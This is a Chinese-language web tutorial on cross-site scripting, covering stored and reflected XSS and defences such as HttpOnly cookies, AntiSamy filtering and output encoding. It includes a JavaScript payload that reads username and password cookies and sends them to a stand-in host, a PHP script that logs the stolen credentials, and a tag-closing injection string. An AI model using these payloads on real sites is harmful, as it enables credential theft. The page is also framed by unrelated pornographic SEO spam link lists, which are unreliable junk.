国产高清在线免费观看-国产高清在线免费无码-国产高清在线男人的天堂-国产高清在线视频-国产高清在线视频精品视频-国产高清在线视频伊甸园

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

[點晴永久免費OA]跨站腳本攻擊XSS案例及其解決方案

admin
2020年4月8日 16:8 本文熱度 3798

跨站腳本攻擊XSS

目錄

案例一:留言板的XSS攻擊

利用xss竊取用戶名密碼

案例二:輸入框的XSS攻擊

怎么預防

服務端可以干的事

客戶端可以干的事


跨站腳本攻擊(Cross Site Script為了區別于CSS簡稱為XSS)指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。

案例一:留言板的XSS攻擊

我們有個頁面用于允許用戶發表留言,然后在頁面底部顯示留言列表

	<!DOCTYPE html>
	<html>
	<head>
	<?php include(''/components/headerinclude.php'');?></head>
	<style type="text/css">
	.comment-title{
	
	margin: 6px 0px 2px 4px;
	}
	

	.comment-body{
	
	color:#ccc;
	font-style: italic;
	border-bottom: dashed 1px #ccc;
	margin: 4px;
	}
	</style>
	<script type="text/javascript" src="/js/cookies.js"></script>
	<body>
	<form method="post" action="list.php">
	<div style="margin:20px;">
	<div style="font-size:16px;font-weight:bold;">Your Comment</div>
	<div style="padding:6px;">
	Nick Name:
	<br/>
	<input name="name" type="text" style="width:300px;"/>
	</div>
	<div style="padding:6px;">
	Comment:
	<br/>
	<textarea name="comment" style="height:100px; width:300px;"></textarea>
	</div>
	<div style="padding-left:230px;">
	<input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
	</div>
	<div style="border-bottom:solid 1px #fff;margin-top:10px;">
	<div style="font-size:16px;font-weight:bold;">Comments</div>
	</div>
	<?php
	require(''/components/comments.php'');
	if(!empty($_POST[''name''])){
	addElement($_POST[''name''],$_POST[''comment'']);
	}
	renderComments();
	?>
	</div>
	</form>
	</body>
	</html>

addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,網頁看起來是這樣的


XSS

因為我們完全信任了用戶輸入,但有些別有用心的用戶會像這樣的輸入


這樣無論是誰訪問這個頁面的時候控制臺都會輸出“Hey you are a fool fish!”,如果這只是個惡意的小玩笑,有些人做的事情就不可愛了,有些用戶會利用這個漏洞竊取用戶信息、誘騙人打開惡意網站或者下載惡意程序等,看個最簡單的例子

 

利用xss竊取用戶名密碼

當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。

惡意用戶會這么輸入:


我們看看http://test.com/hack.js里藏了什么:

	var username=CookieHelper.getCookie(''username'').value;
	var password=CookieHelper.getCookie(''password'').value;
	var script =document.createElement(''script'');
	script.src=''http://test.com/index.php?username=''+username+''&password=''+password;
	document.body.appendChild(script);

幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向 http://test.com/index.php 發送了一個get請求,來看一下http://test.com/index.php中的內容:

	<?php
	if(!empty($_GET[''password''])){
	$username=$_GET[''username''];
	$password=$_GET[''password''];
	
	try{
	$path=$_SERVER["DOCUMENT_ROOT"].''/password.txt'';
	$fp=fopen($path,''a'');
	flock($fp, LOCK_EX);
	fwrite($fp, "$username\t $password\r\n");
	flock($fp, LOCK_UN);
	fclose($fp);
	}catch(Exception $e){
	

	}
	}
	?>

這樣惡意用戶就把訪問留言板的用戶的信息竊取了。


案例二:輸入框的XSS攻擊

有一個登錄頁面:


如果我有用戶abc,密碼123,輸入用戶名abc,密碼567,提示密碼錯誤,但是為了避免用戶再次輸入用戶名,將輸入的用戶名在頁面上保留。此時的html頁面是這樣的,按f12查看:


好,場景描述完畢,xss跨站腳本開始了:

1、如果我直接在用戶名這里輸入<script>alert("1")</script>,然后輸入一個錯誤的密碼,并沒有執行script代碼,因為返回的html頁面是這樣的:


上圖中那樣的script代碼是不會執行的,因為在input的value中,只有獨立的形如下的script代碼才會執行。 


所以要想實現script代碼的執行,就需要進行拼接,將script代碼排到input標簽外。

怎么實現呢?

說白了就是自己拼接,將input標簽進行閉合,然后將script代碼綴在后邊。

通過用戶名的輸入,將input拼接成如下,即可實現script代碼的執行:

<input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>

為什么會執行?

可以將拼接后的input拆分看一下,就很明白了

<input name="userName" class="textcss" id="userName" type="text" value="abc"/>

<script>alert("1")</script>

"/>

因為input已經閉合了,所以script代碼會執行,至于拼接后的html文件是有語法錯誤的問題(因為最后剩下一個"/>,這個html是有錯誤的,但是不影響頁面展示和script代碼執行)就可以忽略了。

因此,只需要在用戶名那里輸入:

abc"/><script>alert("1")</script>

然后輸入一個錯誤的密碼,點擊登錄,就會執行script代碼,彈出彈框。


 

怎么預防

服務端可以干的事

1. HttpOnly

其實就是現在HTTP協議(HTTPS也是可以的)才能讀取cookies,JavaScript是讀取不到cookies的。支持瀏覽器是IE6+、Firefox2+、Google、Safari4+。

JavaEE給Cookie添加HttpOnly的代碼: 

	response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

PS:對于HTTPS,還是可以設置Secure字段,對Cookie進行安全加密。

這是本質上不是預防XSS,而是在被攻破時候不允許JS讀取Cookie。

2.處理富文本

有些數據因為使用場景問題,并不能直接在服務端進行轉義存儲。不過富文本數據語義是完整的HTML代碼,在輸出時也不會拼湊到某個標簽的屬性中,所以可以當特殊情況特殊處理。處理的過程是在服務端配置富文本標簽和屬性的白名單,不允許出現其他標簽或屬性(例如script、iframe、form等),即”XSS Filter“。然后在存儲之前進行過濾(過濾原理沒有去探明)。

Java有個開源項目Anti-Samy是非常好的XSS Filter:

	Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION);
	AntiSamy as = new AntiSamy();
	CleanResults cr = as.scan(dirtyInput, policy);
	MyUserDao.storeUserProfile(cr.getCleanHTML());

PS:當然也可以在前端顯示前過濾,但是我覺得,讓前端人員少做東西好,并且服務端只需要轉一次。

 

客戶端可以干的事

1. 輸入檢查

輸入檢查的邏輯,必須放在服務器端代碼中實現(因為用JavaScript做輸入檢查,很容易被攻擊者繞過)。目前Web開發的普遍做法,是同時在客戶端JavaScript中和服務器代碼中實現相同的輸入檢查。客戶端JavaScript的輸入檢查,可以阻擋大部分誤操作的正常用戶,從而節約服務資源。

PS:簡單說,就是輸入檢查,服務端和客戶端都要做。

 另外攻擊者可能輸入XSS的地方,例如:

	1.頁面中所有的input框
	2.window.location(href、hash等)
	3.window.name
	4.document.referrer
	5.document.cookie
	6.localstorage
	7.XMLHttpRequest返回的數據
	

PS:當然不止這些

2. 輸出檢查

一般就是在變量輸出到HTML頁面時,使用編碼或轉義的方式來防御XSS攻擊。XSS的本質就是“HTML注入”,用戶的數據被當成了HTML代碼一部分來執行,從而混淆了原本的語義,產生了新的語義。

觸發XSS的地方

	1.document.write
	2.xxx.innerHTML=
	3.xxx.outerHTML=
	4.innerHTML.replace
	5.document.attachEvent
	6.window.attachEvent
	7.document.location.replace
	8.document.location.assign

PS:如果使用jquery,就是那些append、html、before、after等,其實就是拼接變量到HTML頁面時產生。大部分的MVC框架在模板(view層)會自動處理XSS問題,例如AngularJS。

用什么編碼轉義

主要有HTMLEncode和JavaScriptEncode這兩個,客戶端和服務端都能做。但是讓后端去做,我感覺是不大靠譜的,因為數據的使用場景可能有幾種,可以在標簽、屬性、或腳本里(甚至其他終端使用),單單以一種方式去encode是很極限的。

1.HTMLEncode,就是將字符轉換成HTMLEntities,一般會轉(&、<、>、"、''、/)這6個字符。

2.JavaScriptEncode,是使用”\“對特殊字符進行轉義。

PS:我在《HtmlEncode和JavaScriptEncode(預防XSS)》一文總結了比較完整的HTMLEncode和JavaScriptEncode兩個前端函數的寫法,以及一點示例。

哪些地方需要編轉義

1.在HTML標簽、屬性中輸出——用HTMLEncode

2.在script標簽中輸出——用JavaScriptEncode

3.在事件中輸出——用JavaScriptEncode

	<a href="#" οnclick="funcA(''$var'')">test</a>

4.在CSS中輸出

用類似JavaScriptEncode的方式。將除了字母、數字外的所有字符都編碼成十六進制形式”\uHH“。

5.在地址中輸出

一般如果變量是整個URL,則先檢查變量是否以“http”開頭(不是則幫忙添加http),保證不會出現偽協議類的XSS攻擊。然后再對變量進行URLEncode。

PS:URLEncode會將字符轉換成”%HH“形式。

總結

前端開發人員要注意在正確的地方使用正確的編碼方式,有時為了防御XSS,在一個地方我們需要聯合HTMLEncode、JavaScriptEncode進行編碼,甚至是疊加,并不是固定一種方式編碼(又是具體情況具體分析)。

一般存儲型XSS風險高于反射型XSS。反射型XSS一般要求攻擊者誘使用戶點擊一個包含XSS代碼的URL鏈接;而存儲型只需要用戶查看一個正常的URL鏈接,當用戶打開頁面時,XSS Payload就會被執行。這樣漏洞極其隱蔽,且埋伏在用戶的正常業務中,風險很高。(引自白帽子講Web安全原文)


該文章在 2020/4/8 16:08:35 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved

主站蜘蛛池模板: 亚洲成av人片在线观看亚洲成a人片在线观看天堂无码 亚洲成av人片在线观看无线 | 国产日韩高清一区二区三区 | 无码精品人妻一区二区三区网页 | 精品乱人伦一区二区三区 | 免费无码又爽又刺激蜜桃av | 国产精美视频 | 亚洲深夜福利视频 | 丝袜人妻无码中文字幕综合网 | 亚洲国产精品91 | 麻豆国产尤物av尤物在线观看 | 亚洲精品一区二区三区大桥未久 | 国产一区二区在线观看麻豆 | 亚洲国产精品无码久久久久久曰 | 中文字幕日韩人妻在线视 | 免费看黄色毛片 | 国产日韩不卡免费精品视频 | 一本精品中文字幕在线 | 嫩草影院1234蜜桃视频 | 亚洲精品国产不卡在线观看/伊人久久大香线蕉综合亚洲/ | 最新日本一道免费一区二区 | 欧美日韩精品一区二区三区高清视频 | 麻豆传煤官网APP入口 IOS | 国产欧美日本韩国高清视频一区二区三区免费在线 | 国产成人久久精品二三区无码 | 亚洲日本一线产区二线区 | 最新国产精品亚洲二区 | 国产极品美女高潮抽搐免费网站 | 亚洲天堂手机天天综合网日 | 亚洲AV无码综合一区二区三区 | 69网站永久免费看nba视频 | 亚洲国产另类久久久精品网站 | 国产日韩欧美视频在线观看 | 日本一区二区三区无码苍井空 | 日韩人久久视频 | 免费做A爰片久久毛片A片下载 | 国产精品爆乳奶水无码视频 | 国产女乱淫真高清免费视频 | 精品人妻少妇一级毛片免费 | 亚洲精品久久久午夜福利电影网 | 亚洲欧美成人综合久久久 | 精品久久久久久久中文字幕 |